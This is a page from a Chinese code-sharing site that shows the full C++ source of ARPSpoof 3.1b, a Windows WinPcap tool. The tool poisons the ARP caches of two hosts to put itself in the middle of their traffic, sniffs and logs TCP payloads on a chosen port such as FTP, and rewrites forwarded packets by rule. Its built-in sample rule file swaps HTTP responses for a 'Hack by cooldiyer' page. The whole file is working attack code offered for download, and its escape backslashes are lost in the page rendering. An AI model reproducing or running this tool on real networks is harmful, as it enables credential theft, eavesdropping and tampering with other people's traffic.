开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Windows编程 > 网络编程 > 查看源码
arpspoof.cpp
资源名称：arpspoof.3.1.src.rar　[点击查看]
上传用户：raech007
上传日期：2008-02-15
资源大小：1751k
文件大小：17k
源码类别：

网络编程

开发平台：

Visual C++

arpspoof.cpp：源码内容
  1. #include <stdio.h>
  2. #include <pcap.h>
  3. #include <winsock2.h>
  4. #pragma comment(lib, "ws2_32.lib")
  5. #pragma comment(lib, "wpcap.lib")
  7. #include "iphlpapi.h"
  8. #include "protoinfo.h"
  9. #include "spoof.h"
  10. #include "tcp.h"
  11. #include "scan.h"
  12. #include "replace.h"
  14. //
  15. // 存储要替换的字符串的链表结构
  16. //
  18. typedef struct tagSTRLINK
  19. {
  20. char szOld[256];
  21. char szNew[256];
  22. struct tagSTRLINK *next;
  23. }STRLINK, *PSTRLINK;
  25. HANDLE hThread[2]; // 两个发送RARP包的线程
  26. unsigned short g_uPort; // 要监视的端口号
  27. pcap_t *adhandle; // 网卡句柄
  28. HANDLE g_hEvent; // 捕捉 Ctrl+C
  29. int g_uMode; // 欺骗标志 0 表示单向欺骗， 1表示双向欺骗
  30. BOOL bIsReplace = FALSE; // 是否对转发的数据进行替换
  31. BOOL bIsLog = FALSE; // 是否进行数据保存
  32. char szLogfile[MAX_PATH]; // 要保存数据的文件名
  34. // 对应ARPSPOOF结构中的成员
  35. unsigned char ucSelf[6], ucIPA[6], ucIPB[6];
  36. char szIPSelf[16], szIPA[16], szIPB[16], szIPGate[16];
  38. // 初始化链表
  39. PSTRLINK strLink = (PSTRLINK) malloc(sizeof(STRLINK));
  41. char TcpFlag[6]={ 'F','S','R','P','A','U' }; //定义TCP标志位，分析数据包时用
  43. BOOL InitSpoof(char **);
  44. void ResetSpoof();
  45. void Help();
  47. //
  48. // 格式化copy函数，主要是为了替换 'r', 'n'字符
  49. //
  51. BOOL fstrcpy(char *szSrc, char *szDst)
  52. {
  53. unsigned int i, j;
  54. for (i = 0, j=0; i < strlen(szSrc); i++, j++)
  55. {
  56. if (szSrc[i] == '\' && szSrc[i + 1] == 'r') // Replace "r"
  57. {
  58. szDst[j] = 'r';
  59. i ++;
  60. }
  61. else if (szSrc[i] == '\' && szSrc[i + 1] == 'n') // Replace "n"
  62. {
  63. szDst[j] = 'n';
  64. i ++;
  65. }
  66. else if (szSrc[i] != 'n' && szSrc[i] != '')
  67. {
  68. szDst[j] = szSrc[i];
  69. }
  70. else
  71. {
  72. return TRUE;
  73. }
  74. }
  75. szDst[j + 1] = ''; // add ''
  76. return TRUE;
  77. }
  78. //
  79. // 把文件中的规则存储到链表中
  80. // 入口参数 szJobfile ==> 规则文件名
  81. // 出口参数 strLink   ==> 指向链表头的指针
  82. //
  83. BOOL ReadJob(char *szJobfile, PSTRLINK strLink)
  84. {
  85. FILE *fp;
  86. char szBuff[256], *p = NULL;
  88. if ((fp = fopen(szJobfile, "rt")) == NULL)
  89. {
  90. printf("Job file open errorn");
  91. return FALSE;
  92. }
  94. PSTRLINK pTmp = strLink; // 保存原指针
  96. while (fgets(szBuff, sizeof(szBuff), fp))
  97. {
  98. if (strcmp(szBuff, "----"))
  99. {
  100. memset(szBuff, 0, sizeof(szBuff));
  101. memset(strLink->szOld, 0, sizeof(strLink->szOld));
  102. fgets(szBuff, sizeof(szBuff), fp);
  104. if (! fstrcpy(szBuff, strLink->szOld))
  105. {
  106. printf("[!] job file format error ..n");
  107. return FALSE;
  108. }
  109. fgets(szBuff, sizeof(szBuff), fp);
  111. if (strcmp(szBuff, "----"))
  112. {
  113. memset(szBuff, 0, sizeof(szBuff));
  114. memset(strLink->szNew, 0, sizeof(strLink->szNew));
  115. fgets(szBuff, sizeof(szBuff), fp);
  116. if (! fstrcpy(szBuff, strLink->szNew))
  117. {
  118. printf("[!] job file format error ..n");
  119. return FALSE;
  120. }
  121. }
  122. else
  123. {
  124. printf("Replace Job file format error, 
  125. used arpspoof /n release a new job filen");
  126. return FALSE;
  127. }
  128. strLink->next = (PSTRLINK) malloc(sizeof(STRLINK));
  129. strLink = strLink->next;
  130. strLink->next = NULL;
  131. }
  132. }
  133. fclose(fp);
  134. strLink = pTmp; // 恢复原指针
  135. return TRUE;
  136. }
  138. //
  139. // 把数据写入文件
  140. // 入口参数: szLogfile ==> 日志文件名 data ==> 指向数据块的空指针 size ==> 数据块大小
  141. // 返回值类型 Boolean
  142. //
  144. BOOL SaveLog(char szLogfile[], const void *data, unsigned int size)
  145. {
  146. HANDLE hFile;
  147. DWORD dwBytes;
  148. hFile = CreateFile(szLogfile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, 
  149. OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  150. if (hFile == INVALID_HANDLE_VALUE)
  151. return FALSE;
  152. SetFilePointer(hFile, NULL, NULL, FILE_END);
  153. WriteFile(hFile, data, size, &dwBytes, NULL);
  154. CloseHandle(hFile);
  155. return TRUE;
  156. }
  158. //
  159. // 捕获控制台事件的函数,主要是处理程序中断事务
  160. // 
  162. BOOL CtrlHandler( DWORD fdwCtrlType ) 
  163. { 
  164. switch (fdwCtrlType) 
  165. { 
  166. // Handle the CTRL-C signal. 
  167.     case CTRL_C_EVENT: 
  168.     case CTRL_CLOSE_EVENT: 
  169.     case CTRL_BREAK_EVENT:  
  170.     case CTRL_LOGOFF_EVENT: 
  171.     case CTRL_SHUTDOWN_EVENT:
  172. ResetSpoof(); //  恢复欺骗主机的arp cache
  173. return TRUE;
  174.     default: 
  175. return FALSE;
  176. }
  177. }
  179. // 
  180. //  为公用变量赋值,初始化参数
  181. //
  182. BOOL InitSpoof(char **argv)
  183. {
  184. // IPSelf, ucSelf 已经在打开网卡时初始化过了
  185. memset(ucIPA, 0xff, 6);
  186. memset(ucIPB, 0xff, 6);
  187. memset(szIPA, 0 ,16);
  188. memset(szIPB, 0 ,16);
  190. if (!GetMac((char *) argv[1], ucIPA))
  191. {
  192. printf("[!] Error Get Mac Address of %sn", argv[1]);
  193. return FALSE;
  194. }
  196. if (!GetMac((char *) argv[2], ucIPB))
  197. {
  198. printf("[!] Error Get Mac Address of %sn", argv[2]);
  199. return FALSE;
  200. }
  202. strcpy((char *) szIPA, (char *) argv[1]);
  203. strcpy((char *) szIPB, (char *) argv[2]);
  204. StaticARP((unsigned char *) szIPA, ucIPA);
  205. StaticARP((unsigned char *) szIPB, ucIPB);
  206. g_uPort = atoi(argv[3]);
  207. g_uMode = atoi(argv[5]);
  208. return TRUE;
  209. }
  211. //
  212. // 显示ARP欺骗信息 (调试用)
  213. // 加延迟是为了等待参数传递，因为函数公用一个ARPSPOOF变量
  214. //
  216. void SpoofInfo(PARPSPOOF arpspoof)
  217. {
  218. /*
  219. printf("Spoof %s %s MAC %.2X-%.2X-%.2X-%.2X-%.2X-%.2Xn",
  220. arpspoof->szTarget, arpspoof->szIP, 
  221. arpspoof->ucPretendMAC[0], arpspoof->ucPretendMAC[1],
  222. arpspoof->ucPretendMAC[2], arpspoof->ucPretendMAC[3],
  223. arpspoof->ucPretendMAC[4], arpspoof->ucPretendMAC[5]
  224. );
  225. */
  226. Sleep(100);
  227. }
  229. //
  230. // 处理ARP欺骗例程，开始Spoof
  231. //
  232. void ARPSpoof()
  233. {
  234. PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
  235. arpspoof->adhandle = adhandle;
  236. memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
  238. // Spoof IP1 -> IP2
  239. strcpy((char *) arpspoof->szTarget, szIPA);
  240. memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
  241. strcpy((char *) arpspoof->szIP, szIPB);
  242. memcpy(arpspoof->ucIPMAC, ucIPB, 6);
  243. memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
  244. hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
  245. (LPVOID) arpspoof, NULL, NULL);
  246. SpoofInfo(arpspoof);
  248. if (g_uMode == 1) // 如果双向欺骗
  249. {
  250. // Spoof IP2 -> IP1
  251. strcpy((char *) arpspoof->szTarget, szIPB);
  252. memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
  253. strcpy((char *) arpspoof->szIP, szIPA);
  254. memcpy(arpspoof->ucIPMAC, ucIPA, 6);
  255. memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
  256. hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
  257. (LPVOID) arpspoof, NULL, NULL);
  258. SpoofInfo(arpspoof);
  259. }
  260. }
  262. //
  263. // 重置ARP欺骗，恢复受骗主机的ARP cache
  264. //     和ARPSpoof做相反操作
  265. //
  266. void ResetSpoof()
  267. {
  268. printf("[+] Reseting .....n");
  270. TerminateThread(hThread[0], 0);
  271. TerminateThread(hThread[1], 0);
  273. PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
  275. arpspoof->adhandle = adhandle;
  276. strcpy((char *) arpspoof->szTarget, szIPA);
  277. memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
  278. strcpy((char *) arpspoof->szIP, szIPB);
  279. memcpy(arpspoof->ucIPMAC, ucIPB, 6);
  280. memcpy(arpspoof->ucPretendMAC, ucIPB, 6);
  281. memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
  282. hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
  283. (LPVOID) arpspoof, NULL, NULL);
  284. if(g_uMode == 1)
  285. {
  286. Sleep(200);
  287. strcpy((char *) arpspoof->szTarget, szIPB);
  288. memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
  289. strcpy((char *) arpspoof->szIP, szIPA);
  290. memcpy(arpspoof->ucIPMAC, ucIPA, 6);
  291. memcpy(arpspoof->ucPretendMAC, ucIPA, 6);
  292. hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
  293. (LPVOID) arpspoof, NULL, NULL);
  294. }
  296. printf("[-] Sleep 5s ");
  297. for(int i = 0; i < 12; i++, Sleep(300))
  298. printf(".");
  299. printf("n");
  300. TerminateThread(hThread[0], 0);
  301. TerminateThread(hThread[1], 0);
  303. // pcap_breakloop后，所有对网卡的操作都会使用程序中止，切记
  304. pcap_breakloop(adhandle); 
  305. }
  307. //
  308. // 替换数据包中内容, 重新计算校验和
  309. //
  310. void ReplacePacket(const u_char *pkt_data, unsigned int pkt_len)
  311. {
  312. ETHeader *eh;
  313.     IPHeader *ih;
  314.     TCPHeader *th;
  315.     u_int ip_len;
  317. eh = (ETHeader *) pkt_data;
  318. ih = (IPHeader *) (pkt_data + 14);
  319. ip_len = (ih->iphVerLen & 0xf) * 4;
  320. th = (TCPHeader *) ((u_char*)ih + ip_len);
  322. // 得到TCP数据包的指针和长度
  323. unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader) 
  324. + sizeof(struct _TCPHeader);
  325. int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_TCPHeader));
  327. // 开始替换数据内容,重新计算校验和
  328. PSTRLINK pTmp = strLink;
  329. int i = 0;
  330. while (pTmp->next)
  331. {
  332. // 开始匹配规则进行替换
  333. if (Replace(datatcp, lentcp, pTmp->szOld, pTmp->szNew))
  334. {
  335. printf("    Applying rul %s ==> %sn", pTmp->szOld, pTmp->szNew);
  336. i ++;
  337. }
  338. pTmp = pTmp->next;
  339. }
  340. if (i >0) // 如果数据包被修改，重新计算校验和
  341. {
  342. printf("[*] Done %d replacements, forwarding packet of size %dn",
  343. i, pkt_len);
  344. ih->ipChecksum = 0;
  345. th->checksum = 0;
  346. ih->ipChecksum = checksum((USHORT *)ih, sizeof(_IPHeader));
  347. ComputeTcpPseudoHeaderChecksum(ih, th, (char *)datatcp, lentcp);
  348. }
  349. else
  350. printf("[*] Forwarding untouched packet of size %dn", pkt_len);
  352. }
  354. //
  355. // 分析显示数据包内容，或者保存至文件
  356. //
  358. void AnalyzePacket(const u_char *pkt_data, unsigned int pkt_len)
  359. {
  360. ETHeader *eh;
  361.     IPHeader *ih;
  362.     TCPHeader *th;
  363.     u_int ip_len;
  364. char szSource[16],szDest[16];
  365.     u_short sport, dport;
  367. eh = (ETHeader *) pkt_data;
  368. ih = (IPHeader *) (pkt_data + 14);
  369. ip_len = (ih->iphVerLen & 0xf) * 4;
  370. th = (TCPHeader *) ((u_char*)ih + ip_len);
  372. sport = ntohs(th->sourcePort);
  373. dport = ntohs(th->destinationPort );
  375. unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader) 
  376. + sizeof(struct _TCPHeader);
  377. int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_TCPHeader));
  379. wsprintf(szSource, "%d.%d.%d.%d",
  380. ih->ipSourceByte.byte1, ih->ipSourceByte.byte2,
  381. ih->ipSourceByte.byte3, ih->ipSourceByte.byte4);
  383. wsprintf(szDest, "%d.%d.%d.%d",
  384. ih->ipDestinationByte.byte1, ih->ipDestinationByte.byte2,
  385. ih->ipDestinationByte.byte3, ih->ipDestinationByte.byte4);
  387. // 分析数据包
  388. char szTmpStr[85], szTmpFlag[7];
  389. szTmpFlag[6] = '';
  391. unsigned char FlagMask = 1;
  392. for(int i=0; i<6; i++ )
  393. {
  394. if ((th->flags) & FlagMask)
  395. szTmpFlag[i] = TcpFlag[i]; 
  396. else
  397. szTmpFlag[i] = '-';
  398. FlagMask = FlagMask << 1; 
  399. }
  400. wsprintf(szTmpStr,
  401. "nTCP %15s->%-15s Bytes=%-4d TTL=%-3d Port:%d->%d %sn",
  402. szSource, szDest, lentcp, ih->ipTTL, sport, dport, szTmpFlag);
  403. printf("%s", szTmpStr);
  405. if (bIsLog) // 写入文件
  406. {
  407. SaveLog(szLogfile, szTmpStr, strlen(szTmpStr));
  408. SaveLog(szLogfile, datatcp, lentcp);
  409. }
  411. //  显示数据包的内容
  412. for (i = 0; i < lentcp; i++)
  413. {
  414. if ((*(datatcp+i) & 0x000000ff) != 0x07)  // 过滤掉可恶的Beep字符
  415. printf("%c", *(datatcp+i));
  416. }
  417. }
  419. //
  420. //  处理转发、修改、保存数据包的例程
  421. //  程序的核心部分
  422. //
  423. void ForwardPacket(pcap_t *adhandle, const u_char *pkt_data, unsigned int pkt_len)
  424. {
  425. ETHeader *eh;
  426.     IPHeader *ih;
  427.     TCPHeader *th;
  428.     u_int ip_len;
  429. char szSource[16],szDest[16];
  430.     u_short sport, dport;
  432. eh = (ETHeader *) pkt_data;
  434. if(eh->type != htons(ETHERTYPE_IP))
  435. return; // 只转发IP包
  437. ih = (IPHeader *) (pkt_data + 14); //找到IP头的位置,14为以太头的长度
  438. ip_len = (ih->iphVerLen & 0xf) * 4; 
  439. th = (TCPHeader *) ((u_char*)ih + ip_len); // 找到TCP的位置
  441. // 将端口信息从网络型转变为主机顺序
  442. sport = ntohs(th->sourcePort);
  443. dport = ntohs(th->destinationPort );
  445. // 得到源IP地址，目标IP地址
  446. wsprintf(szSource, "%d.%d.%d.%d",
  447. ih->ipSourceByte.byte1, ih->ipSourceByte.byte2,
  448. ih->ipSourceByte.byte3, ih->ipSourceByte.byte4);
  449. wsprintf(szDest, "%d.%d.%d.%d",
  450. ih->ipDestinationByte.byte1, ih->ipDestinationByte.byte2,
  451. ih->ipDestinationByte.byte3, ih->ipDestinationByte.byte4);
  453. // 开始过滤要转发的数据包
  454. if (strcmp(szDest, szIPSelf) != 0 && memcmp(ucSelf, eh->dhost,6) == 0)
  455. {
  456. // rebuild IPA -> IPB
  457. if (memcmp(eh->shost, ucIPA, 6) == 0)
  458. {
  459. // 修改以太网头
  460. memcpy(eh->shost, eh->dhost, 6);
  461. memcpy(eh->dhost, ucIPB, 6);
  463. if (ih->ipProtocol == PROTO_TCP && dport == g_uPort)
  464. {
  466. if (bIsReplace) // 是否替换
  467. {
  468. printf("[+] Caught %15s:%-4d -> %s:%dn", szSource, sport, szDest, dport);
  469. ReplacePacket(pkt_data, pkt_len);
  470. printf("[*] Forwarding untouched packet of size %dn", pkt_len);
  471. }
  472. else
  473. {
  474. AnalyzePacket(pkt_data, pkt_len);
  475. }
  476. }
  477. if (pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
  478. {
  479. printf("[!] Forward thread send packet errorn");
  480. }
  481. }
  482. // rebuild IPB -> IPA
  483. else if (memcmp(eh->shost, ucIPB, 6) == 0)
  484. {
  485. memcpy(eh->shost, eh->dhost, 6);
  486. memcpy(eh->dhost, ucIPA, 6);
  488. if (ih->ipProtocol == PROTO_TCP && sport == g_uPort)
  489. {
  490. if (bIsReplace)
  491. {
  492. printf("[+] Caught %15s:%-4d -> %s:%dn", szSource, sport, szDest, dport);
  493. ReplacePacket(pkt_data, pkt_len);
  494. printf("[*] Forwarding untouched packet of size %dn", pkt_len);
  495. }
  496. else
  497. {
  498. AnalyzePacket(pkt_data, pkt_len);
  499. }
  500. }
  501. if(pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
  502. {
  503. printf("[!] Forward thread send packet errorn");
  504. }
  505. }
  506. }
  507. }
  509. //
  510. // pcap_loop的回调函数
  511. // 把接收到的数据传给ForwardPacket函数处理
  512. //
  513. void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
  514. {
  515. ForwardPacket(adhandle, pkt_data,header->len);
  516. }
  518. //
  519. // 释放一个实例规则文件
  520. //
  522. int ReleaseJob(const char *szName)
  523. {
  524. FILE *fp;
  525. if ((fp = fopen("job.txt","w")) == NULL)
  526. return 0;
  527. fputs("----nHTTP/1.n----nHTTP/1.1 200 OK\r\n" 
  528. "Server: CoolDiyer's Hack IIS\r\nContent-Length: 27\r\n" 
  529. "Connection: close\r\nContent-Type: text/html\r\n\r\n" 
  530. "Hack by cooldiyer<noframes>n----", fp);
  531. fclose(fp);
  532. return 1;
  533. }
  535. //
  536. // 主函数，主要处理参数的初始化
  537. //
  538. int main(int argc, char *argv[])
  539. {
  540. printf("ARPSpoof Ver 3.1b by CoolDiyern");
  542. if (argc >1)
  543. {
  544. if (argv[1][1] == 'l') // 列出可用的网卡
  545. {
  546. ListAdapters();
  547. return 0;
  548. }
  550. if (argv[1][1] == 'n') // 释放一个示例规则文件 job.txt
  551. {
  552. if (ReleaseJob("job.txt"))
  553. {
  554. printf("[+] Replace Job file job.txt release success...n");
  555. return 0;
  556. }
  557. else
  558. {
  559. printf("[!] Release job file errorn");
  560. return -1;
  561. }
  562. }
  564. if (argc == 4 && argv[1][1] == 's')
  565. {
  566. EnumLanHost(argv[2], argv[3]);
  567. return 0;
  568. }
  569. }
  571. if (argc < 6) // 参数不正确，显示使用帮助
  572. {
  573. Help();
  574. return 0;
  575. }
  577. // 打开网卡，初始化szIPSelf, ucSelf, szIPGate变量
  578. if ((adhandle = OpenAdapter(atoi(argv[4]), szIPSelf, ucSelf, szIPGate)) == NULL)
  579. {
  580. printf("[!] Open adatper error!n");
  581. return FALSE;
  582. }
  584. // 初始化其它变量，转入核心例程
  585. if (InitSpoof(argv))
  586. {
  587. if (argc == 7 && strcmpi(argv[6], "/reset") == 0) // 启用恢复线程，5秒后退出程序
  588. {
  589. if (g_uMode == 1)
  590. printf("[*] Reset  %s <-> %sn", szIPA ,szIPB);
  591. else
  592. printf("[*] Reset  %s --> %sn", szIPA ,szIPB);
  593. ResetSpoof();
  594. }
  595. else if (argc >5 )
  596. {
  597. SetConsoleCtrlHandler((PHANDLER_ROUTINE) CtrlHandler, TRUE);
  598. if (argc == 8 && argv[6][1] == 'r') // 如果是要替换转发内容
  599. {
  600. if (ReadJob(argv[7], strLink)) // 加载规则文件,并显示替换规则
  601. {
  602. PSTRLINK pTmp = strLink;
  603. int i=0;
  604. while (pTmp->next)
  605. {
  606. i++;
  607. printf("[*] Parsing rul %s ==> %sn", pTmp->szOld, pTmp->szNew);
  608. pTmp = pTmp->next;
  609. }
  610. bIsReplace = TRUE;
  611. printf("[+] Loaded %d rules...n", i);
  612. }
  613. else
  614. return -1;
  616. }
  617. if (argc == 8 && argv[6][1] == 's') //  是否保存数据到文件
  618. {
  619. strcpy(szLogfile, argv[7]);
  620. bIsLog = TRUE;
  621. printf("[+] Save log to %sn", szLogfile);
  622. }
  624. if (g_uMode == 1) //  双向欺骗
  625. printf("[*] Spoofing  %s <-> %sn", szIPA ,szIPB);
  626. else // 单向欺骗
  627. printf("[*] Spoofing  %s --> %sn", szIPA ,szIPB);
  629. if (!bIsReplace) // 只转发，不替换
  630. printf("[+] Using fixed forwarding thread.n");
  632. // 开始主要例程，欺骗并转发处理数据包
  633. ARPSpoof();
  634. pcap_loop(adhandle, 0, packet_handler, NULL);
  635. }
  636. }
  638. pcap_close(adhandle);
  639. return 0;
  640. }
  642. //
  643. // 帮助函数，对一些参数的说明和程序的使用
  644. //
  645. void Help()
  646. {
  647. printf("Usage:n");
  648. printf("  ArpSpoof <IP1> <IP2> <PORT> <AdpNum> <Mode> /[r|s] <File>n");
  649. printf("  ArpSpoof /s <IP> <Mask>n");
  650. printf("  ArpSpoof /ln");
  651. printf("tMode Options:ntt0tIP1 --> IP2n");
  652. printf("tt1tIP1 <-> IP2n");
  653. printf("Examples:n");
  654. printf("t> ArpSpoof 192.168.0.1 192.168.0.8 80 2 1 /r job.txtn");
  655. printf("t  # Spoof 192.168.0.1 <-> 192.168.0.8:80 with rulenn");
  656. printf("t> ArpSpoof 192.168.0.1 192.168.0.8 21 2 1 /s sniff.logn");
  657. printf("t  # Spoof 192.168.0.1 <-> 192.168.0.8:80 save to lognn");
  658. printf("t> ArpSpoof 192.168.0.1 192.168.0.8 80 2 0 /RESETn");
  659. printf("t  # Reset 192.168.0.1 --> 192.168.0.8:80nn");
  660. printf("t> ArpSpoof /s 192.168.0.1 255.255.255.0n");
  661. printf("t  # Scan lan hostnn");
  662. printf("t> ArpSpoof /ln");
  663. printf("t  # Lists adaptersnn");
  664. printf("t> ArpSpoof /nn");
  665. printf("t  # Release a new replace rule filen");
  666. }